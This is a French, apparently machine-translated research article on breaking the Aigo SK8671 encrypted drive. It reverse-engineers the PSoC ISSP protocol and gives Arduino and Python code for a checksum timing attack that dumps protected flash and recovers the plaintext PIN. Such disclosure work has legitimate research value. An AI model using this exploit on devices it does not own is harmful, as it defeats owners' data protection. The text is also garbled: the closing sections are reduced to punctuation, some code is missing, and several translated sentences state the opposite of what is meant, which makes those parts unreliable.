Il s'agit de la deuxième et dernière partie de l'article sur le piratage de disques externes à chiffrement automatique. Je vous rappelle qu’un collègue m’a récemment apporté un disque dur Patriot (Aigo) SK8671, et j’ai décidé de l’inverser, et maintenant je partage ce qui en est sorti. Avant de continuer à lire, assurez-vous de lire la première partie de l' article.
4. Nous commençons à supprimer le vidage du lecteur flash interne PSoC
5. Protocole ISSP
- 5.1. Qu'est-ce qu'un ISSP?
- 5.2. Démystification des vecteurs
- 5.3. Chat avec PSoC
- 5.4. Identification des registres intra-puce
- 5.5. Embouts de protection
6. Première attaque (échouée): ROMX
7. Deuxième attaque: trace avec réinitialisation à froid
- 7.1. Implémentation
- 7.2. Lire le résultat
- 7.3. Reconstruction du binaire flash
- 7.4. Trouver l'adresse de stockage du code PIN
- 7.5. Nous supprimons le dépotoir du bloc n ° 126
- 7.6. Récupération de code PIN
8. Et ensuite?
9. Conclusion

4. Nous commençons à supprimer le vidage du lecteur flash interne PSoC
Donc, tout indique (comme nous l'avons établi dans [la première partie] ()) que le code PIN est stocké dans les entrailles flash PSoC. Par conséquent, nous devons lire ces entrailles flash. Devant des travaux nécessaires:
- prendre le contrôle de la "communication" avec le microcontrôleur;
- trouver un moyen de vérifier si cette "communication" est protégée de la lecture de l'extérieur;
- trouver un moyen de contourner la sécurité.
Il y a deux endroits où il est logique de rechercher un code PIN valide:
- mémoire flash interne;
- SRAM, où le code PIN peut être stocké pour le comparer avec le code PIN que l'utilisateur entre.
Pour l'avenir, je note que j'ai quand même réussi à supprimer le vidage du lecteur flash interne PSoC, en contournant son système de protection, en utilisant l'attaque matérielle "trace de réinitialisation à froid" après avoir inversé les fonctionnalités non documentées du protocole ISSP. Cela m'a permis de vider directement le code PIN actuel.
$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9
Le code de programme résultant:
5. Protocole ISSP
5.1. Qu'est-ce qu'un ISSP?
La «communication» avec le microcontrôleur peut signifier différentes choses: de «fournisseur à fournisseur», à l'interaction à l'aide d'un protocole série (par exemple, ICSP pour PIC de Microchip).
Cypress a son propre protocole propriétaire pour cela, appelé ISSP (protocole de programmation série dans le système), qui est partiellement décrit dans les spécifications techniques . US7185162 fournit également des informations. Il existe également un analogue OpenSource appelé HSSP (nous l'utiliserons un peu plus tard). L'ISSP fonctionne comme suit:
- redémarrer PSoC;
- apporter le nombre magique à la jambe de données série de ce PSoC; pour entrer en mode de programmation externe;
- envoyer des commandes qui sont de longues chaînes de bits appelées «vecteurs».
Dans la documentation ISSP, ces vecteurs sont définis uniquement pour une petite poignée de commandes:
- Initialialize-1
- Initialize-2
- Initialize-3 (options 3V et 5V)
- ID-SETUP
- LIRE-ID-MOT
- SET-BLOCK-NUM: 10011111010dddddddd111, où dddddddd = bloc #
- EFFACEMENT EN VRAC
- PROGRAMME-BLOC
- VERIFY-SETUP
- LECTURE: 10110aaaaaaZDDDDDDDDDZ1, où DDDDDDDDD = sortie de données, aaaaaa = adresse (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, où dddddddd = données en entrée, aaaaaa = adresse (6 bits)
- Sécurisé
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, où DDDDDDDDDDDDDDDDD = données sortantes: somme de contrôle de l'appareil
- EFFACER LE BLOC
Par exemple, le vecteur pour Initialize-2:
1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111
Tous les vecteurs ont la même longueur: 22 bits. La documentation HSSP contient des informations supplémentaires sur les ISSP: «Un vecteur ISSP n'est rien de plus qu'une séquence de bits représentant un ensemble d'instructions.»
5.2. Démystification des vecteurs
Voyons ce qui se passe ici. Initialement, j'ai supposé que ces mêmes vecteurs sont des variantes brutes des instructions M8C, cependant, après avoir testé cette hypothèse, j'ai trouvé que les opcodes des opérations ne correspondent pas.
Ensuite, j'ai googlé le vecteur ci-dessus et suis tombé sur cette étude, où l'auteur, sans entrer dans les détails, donne quelques indices pratiques: «Chaque instruction commence par trois bits qui correspondent à l'une des quatre mnémoniques (lire à partir de RAM, écrire à RAM , lire le registre, écrire le registre). Vient ensuite l'adresse 8 bits, suivie de 8 bits de données (lus ou écrits) et enfin trois bits d'arrêt. »
J'ai ensuite pu recueillir des informations très utiles dans la section ROM de supervision (SROM) du manuel technique . SROM est une ROM codée en dur dans PSoC qui fournit des fonctions de service (similaires à Syscall) pour le code logiciel exécuté dans l'espace utilisateur:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
En comparant les noms de vecteur avec les fonctions SROM, nous pouvons mapper les différentes opérations prises en charge par ce protocole aux paramètres SROM attendus. Grâce à cela, nous pouvons décoder les trois premiers bits des vecteurs ISSP:
- 100 => «wrmem»
- 101 => «rdmem»
- 110 => «wrreg»
- 111 => «rdreg»
Cependant, une compréhension complète des processus intra-puce ne peut être obtenue que par une communication directe avec PSoC.
5.3. Chat avec PSoC
Puisque Dirk Petrautsky a déjà porté le code Cypress HSSP sur Arduino, j'ai utilisé Arduino Uno pour connecter la carte clavier au connecteur ISSP.
Veuillez noter que lors de mes recherches, j'ai pratiquement changé le code Dirk. Vous pouvez retrouver ma modification sur GitHub: voici le script Python correspondant pour communiquer avec Arduino, dans mon référentiel cypress_psoc_tools .
Donc, en utilisant Arduino, au début, je n'utilisais que des vecteurs «officiels» pour la «communication». J'ai essayé de lire la ROM interne en utilisant la commande VERIFY. Comme prévu, je n'ai pas pu faire ça. Probablement dû au fait que les bits de protection en lecture sont activés à l'intérieur du lecteur flash.
Ensuite, j'ai créé certains de mes vecteurs simples pour écrire et lire la mémoire / les registres. Veuillez noter que nous pouvons lire l'intégralité du SROM, même si le lecteur flash est protégé!
5.4. Identification des registres intra-puce
En regardant les vecteurs "désassemblés", j'ai trouvé que l'appareil utilise des registres non documentés (0xF8-0xFA) pour indiquer les opcodes M8C qui sont exécutés directement, en contournant la protection. Cela m'a permis d'exécuter divers opcodes tels que «ADD», «MOV A, X», «PUSH» ou «JMP». Grâce à eux (en regardant les effets secondaires qu'ils ont sur les registres), j'ai pu déterminer lesquels des registres non documentés sont en fait des registres réguliers (A, X, SP et PC).
En conséquence, le code «désassemblé» généré par l'outil HSSP_disas.rb ressemble à ceci (j'ai ajouté des commentaires pour plus de clarté):
--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # [DE C0 1C] wrreg SP (f6), 0x00 # SP [9F 07 5C] wrmem KEY1, 0x3A # SSC [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 # PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... 3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM- [DF 26 1C] wrreg opc1 (f9), 0x30 # 1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 # 2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID SSC [DE 00 DC] wrreg A (f0), 0x06 # "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # :
5.5. Embouts de protection
À ce stade, je peux déjà communiquer avec PSoC, mais je n'ai toujours pas d'informations fiables sur les bits de protection du lecteur flash. J'ai été très surpris par le fait que Cypress ne donne à l'utilisateur de l'appareil aucun moyen de vérifier si la protection est activée. Je suis allé profondément dans Google pour finalement comprendre que le code HSSP fourni par Cypress a été mis à jour après que Dirk ait publié sa modification. Et voilà! Voici un nouveau vecteur comme celui-ci:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 # [9F E0 1C] wrmem 0xFF, 0x00 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 # syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
En utilisant ce vecteur (voir read_security_data dans psoc.py), nous obtenons tous les bits de protection dans SRAM à 0x80, où chaque bit est protégé avec deux bits.
Le résultat est déprimant: tout est protégé en mode "désactiver la lecture et l'écriture externes". Par conséquent, nous pouvons non seulement lire quoi que ce soit à partir du lecteur flash USB, mais aussi l'écrire (par exemple, pour y introduire un dumper ROM). Et la seule façon de désactiver la protection est d'effacer complètement la puce entière. :-(
6. Première attaque (échouée): ROMX
Cependant, nous pouvons essayer l'astuce suivante: puisque nous avons la possibilité d'exécuter des opcodes arbitraires, pourquoi ne pas exécuter ROMX, qui est utilisé pour lire la mémoire flash? Cette approche a de bonnes chances de succès. Parce que la fonction ReadBlock, qui lit les données de SROM (qui est utilisé par les vecteurs), vérifie si elle est appelée depuis ISSP. Cependant, l'opcode ROMX peut ne pas avoir une telle vérification. Voici donc le code Python (après avoir ajouté quelques classes d'assistance au code Arduino C):
for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte
Malheureusement, ce code ne fonctionne pas. :-( Au contraire, cela fonctionne, mais en sortie, nous obtenons nos propres opcodes (0x28 0x30 0x40)! Je ne pense pas que la fonctionnalité correspondante de l'appareil soit un élément de protection en lecture. Cela ressemble plus à une astuce d'ingénierie: lors de l'exécution d'opcodes externes, le bus ROM est redirigé dans un tampon temporaire.
7. Deuxième attaque: trace avec réinitialisation à froid
Étant donné que l'astuce ROMX n'a pas fonctionné, j'ai commencé à penser à une autre variante de cette astuce - décrite dans la publication «Éclairer trop de lumière sur la protection du microprogramme d'un microcontrôleur» .
7.1. Implémentation
Le vecteur suivant pour CHECKSUM-SETUP est répertorié dans la documentation ISSP:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Ici, en substance, la fonction SROM 0x07 est appelée, comme présenté dans la documentation (la mienne en italique):
Cette fonction checksum checksum. Il calcule une somme de contrôle de 16 bits du nombre de blocs défini par l'utilisateur dans une banque flash, en comptant à partir de zéro. Le paramètre BLOCKID est utilisé pour transférer le nombre de blocs qui seront utilisés lors du calcul de la somme de contrôle. Une valeur de «1» calculera la somme de contrôle pour le bloc zéro uniquement; tandis que "0" conduira au fait que la somme de contrôle totale des 256 blocs de la banque flash sera calculée. Une somme de contrôle de 16 bits est renvoyée via KEY1 et KEY2. Dans le paramètre KEY1, les 8 bits bas de la somme de contrôle sont fixes et dans KEY2, les 8 bits hauts sont enregistrés. Pour les appareils avec plusieurs banques de flash, la fonction de somme de contrôle est appelée pour chacun individuellement. Le numéro de banque avec lequel il fonctionnera est fixé par le registre FLS_PR1 (en y insérant un bit correspondant à la banque flash cible).
Notez que c'est la somme de contrôle la plus simple: les octets sont simplement additionnés un par un; pas de bizarreries CRC sophistiquées. De plus, sachant que l'ensemble des registres dans le noyau M8C est très petit, j'ai supposé que lors du calcul de la somme de contrôle, les valeurs intermédiaires seront fixées dans les mêmes variables qui seront éventuellement sorties: KEY1 (0xF8) / KEY2 (0xF9).
Donc, en théorie, mon attaque ressemble à ceci:
- Connectez-vous via ISSP.
- Nous commençons le calcul de la somme de contrôle en utilisant le vecteur CHECKSUM-SETUP.
- Nous redémarrons le processeur après le temps spécifié T.
- Lisez la RAM pour obtenir la somme de contrôle actuelle C.
- Répétez les étapes 3 et 4, en augmentant chaque fois T.
- Nous récupérons les données du lecteur flash en soustrayant la somme de contrôle C précédente de celle actuelle.
Cependant, un problème est survenu: le vecteur Initialize-1, que nous devons envoyer après le redémarrage, écrase KEY1 et KEY2:
1100101000000000000000 # , PSoC nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A # [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Ce code écrase notre précieuse somme de contrôle en appelant Calibrate1 (fonction SROM 9) ... Peut-être que nous pouvons simplement entrer dans le mode de programmation en envoyant le numéro magique (depuis le début du code ci-dessus) puis lire SRAM? Et oui, ça marche! Le code Arduino implémentant cette attaque est assez simple:
case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();
- Lisez checkum_delay.
- Exécutez le calcul de la somme de contrôle (send_checksum_v).
- Attendez une période de temps donnée; étant donné les pièges suivants:
- J'ai tué beaucoup de temps jusqu'à ce que je découvre que delayMicroseconds s'est avéré fonctionner correctement uniquement avec des retards ne dépassant pas 16383mks;
- et puis encore tué le même laps de temps jusqu'à ce qu'il trouve que delayMicroseconds, s'il passait 0 à son entrée, fonctionnait complètement mal!
- Rechargez PSoC en mode de programmation (envoyez simplement le nombre magique, sans envoyer de vecteurs d'initialisation).
Le code Python résultant:
for delay in range(0, 150000):
En un mot, ce que fait ce code:
- Recharge le PSoC (et lui envoie un nombre magique).
- Envoie des vecteurs d'initialisation complets.
- Appelle la fonction Arduino Cmnd_STK_START_CSUM (0x85), où le retard en microsecondes est passé en paramètre.
- Lit la somme de contrôle (0xF8 et 0xF9) et le registre non documenté 0xF1.
Ce code est exécuté 10 fois en 1 microseconde. 0xF1 est inclus ici car c'est le seul registre qui a changé lors du calcul de la somme de contrôle. Il s'agit peut-être d'une sorte de variable temporaire utilisée par le dispositif de logique arithmétique. Faites attention au hack laid que je redémarre Arduino en utilisant picocom lorsque l'Arduino cesse de donner des signes de vie (je ne sais pas pourquoi).
7.2. Lire le résultat
Le résultat du script Python ressemble à ceci (simplifié pour la lisibilité):
DELAY F1 F8 F9 # F1 – # F8 # F9 00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 # 0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 # , 00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 # E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 # [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , ! 00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30
Dans le même temps, nous avons un problème: puisque nous opérons sur la somme de contrôle réelle, un octet zéro ne change pas la valeur lue. Cependant, comme toute la procédure de calcul (8192 octets) prend 0,1478 seconde (avec de légères déviations à chaque démarrage), ce qui correspond à peu près à 18,04 μs par octet, nous pouvons utiliser ce temps pour vérifier la valeur de la somme de contrôle à des moments appropriés. Pour les premières exécutions, tout est lu assez facilement, car la durée de la procédure de calcul est toujours presque la même. Cependant, la fin de ce vidage est moins précise, car les «écarts de temps insignifiants» à chaque passage se résument et deviennent significatifs:
134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD
Ce sont 10 décharges pour chaque retard de microsecondes. La durée totale de fonctionnement pour le vidage de tous les 8192 octets d'un lecteur flash est d'environ 48 heures.
7.3. Reconstruction du binaire flash
Je n'ai pas encore fini d'écrire un code qui reconstruit complètement le code programme du lecteur flash, en tenant compte de tous les écarts dans le temps. Cependant, j'ai déjà restauré le début de ce code. Pour m'assurer que je l'ai fait correctement, je l'ai démonté à l'aide de m8cdis:
0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret
Semble tout à fait crédible!
7.4. Trouver l'adresse de stockage du code PIN
Maintenant que nous pouvons lire la somme de contrôle au moment où nous en avons besoin, nous pouvons facilement vérifier comment et où elle change lorsque nous:
- entrez le mauvais code PIN;
- changer le code PIN.
Tout d'abord, pour trouver l'adresse de stockage approximative, j'ai effectué un vidage de la somme de contrôle par incréments de 10 ms après un redémarrage. Ensuite, j'ai entré le mauvais code PIN et j'ai fait de même.
Le résultat n'était pas très agréable, car il y avait beaucoup de changements. Mais à la fin, j'ai pu établir que la somme de contrôle a changé quelque part dans l'intervalle entre 120 000 μs et 140 000 μs de retard. Mais le «code PIN» que j'ai obtenu était complètement faux - en raison de l'artefact de la procédure delayMicroseconds, qui fait des choses étranges quand il obtient 0.
Puis, après avoir passé près de 3 heures, je me suis souvenu que l'appel système CheckSum SROM à l'entrée recevait un argument spécifiant le nombre de blocs pour la somme de contrôle! T.O. nous pouvons facilement localiser l'adresse de stockage du code PIN et le compteur des «tentatives incorrectes», précis au bloc de 64 octets.
Mes premiers runs ont donné le résultat suivant:

Ensuite, j'ai changé le code PIN de "123456" en "1234567" et j'ai reçu:

Ainsi, le code PIN et le compteur des tentatives incorrectes semblent être stockés dans le bloc n ° 126.
7.5. Nous supprimons le dépotoir du bloc n ° 126
Le bloc n ° 126 devrait être situé quelque part dans la région de 125x64x18 = 144000mks, depuis le début du calcul de la somme de contrôle, dans mon vidage complet, et cela semble tout à fait crédible. Puis, après avoir trié manuellement de nombreux vidages invalides (dus à l'accumulation de "légères déviations dans le temps"), j'ai finalement obtenu ces octets (avec un retard de 145527 μs):

Il est clair que le code PIN est stocké sous forme non cryptée! Ces valeurs ne sont bien sûr pas écrites en codes ASCII, mais comme il s'est avéré, elles reflètent les lectures prises sur le clavier capacitif.
Enfin, j'ai effectué quelques tests supplémentaires pour trouver où le compteur de tentatives incorrectes est stocké. Voici le résultat:

0xFF - signifie "15 tentatives", et il diminue à chaque tentative incorrecte.
7.6. Récupération de code PIN
Voici mon code laid qui rassemble tout ce qui précède:
def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print
Voici le résultat de son exécution:
$ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9
Hourra! Ça marche!
Veuillez noter que les valeurs de retard utilisées par moi sont très probablement pertinentes pour un PSoC spécifique - celui que j'ai utilisé.
8. Et ensuite?
, PSoC, Aigo:
, – - . :
- , « »;
- FPGA- ( Arduino);
- : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .
, – , . , , – , .
SROM, ReadBlock, , – , «REcon Brussels 2017» .
, – : SRAM, .
9.
, , ( «») … (), !
Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)
. 40 . ( ) ( ). 40 , . .